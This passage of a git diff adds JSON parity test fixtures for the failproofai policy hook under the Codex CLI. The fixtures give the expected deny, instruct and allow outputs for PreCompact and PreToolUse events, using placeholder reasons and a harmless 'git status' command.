"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9d251e00 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7da77e50 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..63942449 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5ee647fa --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b78ce537 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..72af3a3c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7b52ddf0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a046c8f1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e6e1ccd0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e8626769 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b5d57ae3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..84b99c8a --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d0eede7d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fd2a2c83 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ebd1ba20 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d2002e7d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5bae877c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..36ff1a3c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1d326932 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + 